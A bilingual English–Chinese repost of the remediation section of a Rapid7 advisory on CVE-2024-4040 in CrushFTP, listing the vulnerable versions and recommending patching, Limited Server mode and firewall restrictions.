POST|04/23/2024 10:27:37.611|[HTTPS:84_47426:anonymous:127.0.0.1] WROTE: *HTTP/1.1 200 OK*

Remediation 修复

According to the vendor advisory, the following versions of CrushFTP are vulnerable as of April 23, 2024:
根据供应商公告,截至 2024 年 4 月 23 日,以下版本的 CrushFTP 容易受到攻击:

  • All legacy CrushFTP 9 installations
    所有旧版 CrushFTP 9 安装
  • CrushFTP 10 before v10.7.1
    CrushFTP 10 v10.7.1 之前版本
  • CrushFTP 11 before v11.1.0
    低于 v11.1.0 的 CrushFTP 11

After updating the vulnerable software, unauthenticated and authenticated template injections into API responses are no longer evaluated, which appears to effectively mitigate the vulnerability.
更新易受攻击的软件后,将不再评估未经身份验证和经过身份验证的模板注入到 API 响应中,这似乎可以有效缓解漏洞。

The vendor states that the DMZ feature mitigates the vulnerability, but it’s likely that exploitation is still viable in some circumstances. Vulnerable software should be urgently updated via the CrushFTP administrator dashboard. Furthermore, to harden CrushFTP servers against administrator-level remote code execution attacks, Limited Server mode should be enabled with the most restrictive configuration possible. Where possible, use firewalls to aggressively restrict what IP addresses are permitted to access CrushFTP services.
供应商表示,DMZ 功能可缓解漏洞,但在某些情况下,利用此漏洞可能仍然可行。易受攻击的软件应通过 CrushFTP 管理员仪表板紧急更新。此外,为了加强 CrushFTP 服务器抵御管理员级别的远程代码执行攻击,应使用最严格的配置启用受限服务器模式。在可能的情况下,使用防火墙积极限制允许访问 CrushFTP 服务的 IP 地址。

References 引用

原文始发于Rapid7:CVE-2024-4040

版权声明:admin 发表于 2024年4月29日 下午10:35。
转载请注明:CVE-2024-4040 | CTF导航

相关文章